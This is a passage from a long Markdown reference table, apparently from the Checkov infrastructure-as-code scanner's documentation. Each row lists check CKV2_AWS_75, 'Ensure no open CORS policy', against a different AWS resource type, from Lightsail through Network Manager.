Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1023 | CKV2_AWS_75 | resource | aws_lightsail_disk_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1024 | CKV2_AWS_75 | resource | aws_lightsail_distribution | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1025 | CKV2_AWS_75 | resource | aws_lightsail_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1026 | CKV2_AWS_75 | resource | aws_lightsail_domain_entry | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1027 | CKV2_AWS_75 | resource | aws_lightsail_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1028 | CKV2_AWS_75 | resource | aws_lightsail_instance_public_ports | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1029 | CKV2_AWS_75 | resource | aws_lightsail_key_pair | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1030 | CKV2_AWS_75 | resource | aws_lightsail_lb | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1031 | CKV2_AWS_75 | resource | aws_lightsail_lb_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1032 | CKV2_AWS_75 | resource | aws_lightsail_lb_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1033 | CKV2_AWS_75 | resource | aws_lightsail_lb_certificate_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1034 | CKV2_AWS_75 | resource | aws_lightsail_lb_https_redirection_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1035 | CKV2_AWS_75 | resource | aws_lightsail_lb_stickiness_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1036 | CKV2_AWS_75 | resource | aws_lightsail_static_ip | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1037 | CKV2_AWS_75 | resource | aws_lightsail_static_ip_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1038 | CKV2_AWS_75 | resource | aws_load_balancer_backend_server_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1039 | CKV2_AWS_75 | resource | aws_load_balancer_listener_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1040 | CKV2_AWS_75 | resource | aws_load_balancer_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1041 | CKV2_AWS_75 | resource | aws_location_geofence_collection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1042 | CKV2_AWS_75 | resource | aws_location_map | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1043 | CKV2_AWS_75 | resource | aws_location_place_index | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1044 | CKV2_AWS_75 | resource | aws_location_route_calculator | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1045 | CKV2_AWS_75 | resource | aws_location_tracker | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1046 | CKV2_AWS_75 | resource | aws_location_tracker_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1047 | CKV2_AWS_75 | resource | aws_m2_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1048 | CKV2_AWS_75 | resource | aws_m2_deployment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1049 | CKV2_AWS_75 | resource | aws_m2_environment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1050 | CKV2_AWS_75 | resource | aws_macie2_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1051 | CKV2_AWS_75 | resource | aws_macie2_classification_export_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1052 | CKV2_AWS_75 | resource | aws_macie2_classification_job | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1053 | CKV2_AWS_75 | resource | aws_macie2_custom_data_identifier | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1054 | CKV2_AWS_75 | resource | aws_macie2_findings_filter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1055 | CKV2_AWS_75 | resource | aws_macie2_invitation_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1056 | CKV2_AWS_75 | resource | aws_macie2_member | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1057 | CKV2_AWS_75 | resource | aws_macie2_organization_admin_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1058 | CKV2_AWS_75 | resource | aws_macie_member_account_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1059 | CKV2_AWS_75 | resource | aws_macie_s3_bucket_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1060 | CKV2_AWS_75 | resource | aws_main_route_table_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1061 | CKV2_AWS_75 | resource | aws_media_convert_queue | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1062 | CKV2_AWS_75 | resource | aws_media_package_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1063 | CKV2_AWS_75 | resource | aws_media_packagev2_channel_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1064 | CKV2_AWS_75 | resource | aws_media_store_container | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1065 | CKV2_AWS_75 | resource | aws_media_store_container_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1066 | CKV2_AWS_75 | resource | aws_medialive_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1067 | CKV2_AWS_75 | resource | aws_medialive_input | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1068 | CKV2_AWS_75 | resource | aws_medialive_input_security_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1069 | CKV2_AWS_75 | resource | aws_medialive_multiplex | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1070 | CKV2_AWS_75 | resource | aws_medialive_multiplex_program | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1071 | CKV2_AWS_75 | resource | aws_memorydb_acl | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1072 | CKV2_AWS_75 | resource | aws_memorydb_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1073 | CKV2_AWS_75 | resource | aws_memorydb_multi_region_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1074 | CKV2_AWS_75 | resource | aws_memorydb_parameter_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1075 | CKV2_AWS_75 | resource | aws_memorydb_snapshot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1076 | CKV2_AWS_75 | resource | aws_memorydb_subnet_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1077 | CKV2_AWS_75 | resource | aws_memorydb_user | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1078 | CKV2_AWS_75 | resource | aws_mq_broker | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1079 | CKV2_AWS_75 | resource | aws_mq_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1080 | CKV2_AWS_75 | resource | aws_msk_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1081 | CKV2_AWS_75 | resource | aws_msk_cluster_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1082 | CKV2_AWS_75 | resource | aws_msk_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1083 | CKV2_AWS_75 | resource | aws_msk_replicator | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1084 | CKV2_AWS_75 | resource | aws_msk_scram_secret_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1085 | CKV2_AWS_75 | resource | aws_msk_serverless_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1086 | CKV2_AWS_75 | resource | aws_msk_single_scram_secret_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1087 | CKV2_AWS_75 | resource | aws_msk_vpc_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1088 | CKV2_AWS_75 | resource | aws_mskconnect_connector | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1089 | CKV2_AWS_75 | resource | aws_mskconnect_custom_plugin | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1090 | CKV2_AWS_75 | resource | aws_mskconnect_worker_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1091 | CKV2_AWS_75 | resource | aws_mwaa_environment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1092 | CKV2_AWS_75 | resource | aws_nat_gateway | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1093 | CKV2_AWS_75 | resource | aws_neptune_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1094 | CKV2_AWS_75 | resource | aws_neptune_cluster_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1095 | CKV2_AWS_75 | resource | aws_neptune_cluster_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1096 | CKV2_AWS_75 | resource | aws_neptune_cluster_parameter_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1097 | CKV2_AWS_75 | resource | aws_neptune_cluster_snapshot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1098 | CKV2_AWS_75 | resource | aws_neptune_event_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1099 | CKV2_AWS_75 | resource | aws_neptune_global_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1100 | CKV2_AWS_75 | resource | aws_neptune_parameter_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1101 | CKV2_AWS_75 | resource | aws_neptune_subnet_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1102 | CKV2_AWS_75 | resource | aws_network_acl | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1103 | CKV2_AWS_75 | resource | aws_network_acl_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1104 | CKV2_AWS_75 | resource | aws_network_acl_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1105 | CKV2_AWS_75 | resource | aws_network_interface | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1106 | CKV2_AWS_75 | resource | aws_network_interface_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1107 | CKV2_AWS_75 | resource | aws_network_interface_sg_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1108 | CKV2_AWS_75 | resource | aws_networkfirewall_firewall | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1109 | CKV2_AWS_75 | resource | aws_networkfirewall_firewall_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1110 | CKV2_AWS_75 | resource | aws_networkfirewall_logging_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1111 | CKV2_AWS_75 | resource | aws_networkfirewall_resource_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1112 | CKV2_AWS_75 | resource | aws_networkfirewall_rule_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1113 | CKV2_AWS_75 | resource | aws_networkfirewall_tls_inspection_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1114 | CKV2_AWS_75 | resource | aws_networkmanager_attachment_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1115 | CKV2_AWS_75 | resource | aws_networkmanager_connect_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1116 | CKV2_AWS_75 | resource | aws_networkmanager_connect_peer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1117 | CKV2_AWS_75 | resource | aws_networkmanager_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1118 | CKV2_AWS_75 | resource | aws_networkmanager_core_network | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1119 | CKV2_AWS_75 | resource | aws_networkmanager_core_network_policy_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1120 | CKV2_AWS_75 | resource | aws_networkmanager_customer_gateway_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1121 | CKV2_AWS_75 | resource | aws_networkmanager_device | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1122 | CKV2_AWS_75 | resource | aws_networkmanager_dx_gateway_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1123 | CKV2_AWS_75 | resource | aws_networkmanager_global_network | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1124 | CKV2_AWS_75 | resource | aws_networkmanager_link | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1125 | CKV2_AWS_75 | resource | aws_networkmanager_link_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1126 | CKV2_AWS_75 | resource | aws_networkmanager_site | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1127 | CKV2_AWS_75 | resource | aws_networkmanager_site_to_site_vpn_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1128 | CKV2_AWS_75 | resource | aws_networkmanager_transit_gateway_connect_peer_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1129 | CKV2_AWS_75 | resource | aws_networkmanager_transit_gateway_peering | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1130 | CKV2_AWS_75 | resource | aws_networkmanager_transit_gateway_registration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1131 | CKV2_AWS_75 | resource | aws_networkmanager_transit_gateway_route_table_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1132 | CKV2_AWS_75 | resource | aws_networkmanager_vpc_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | 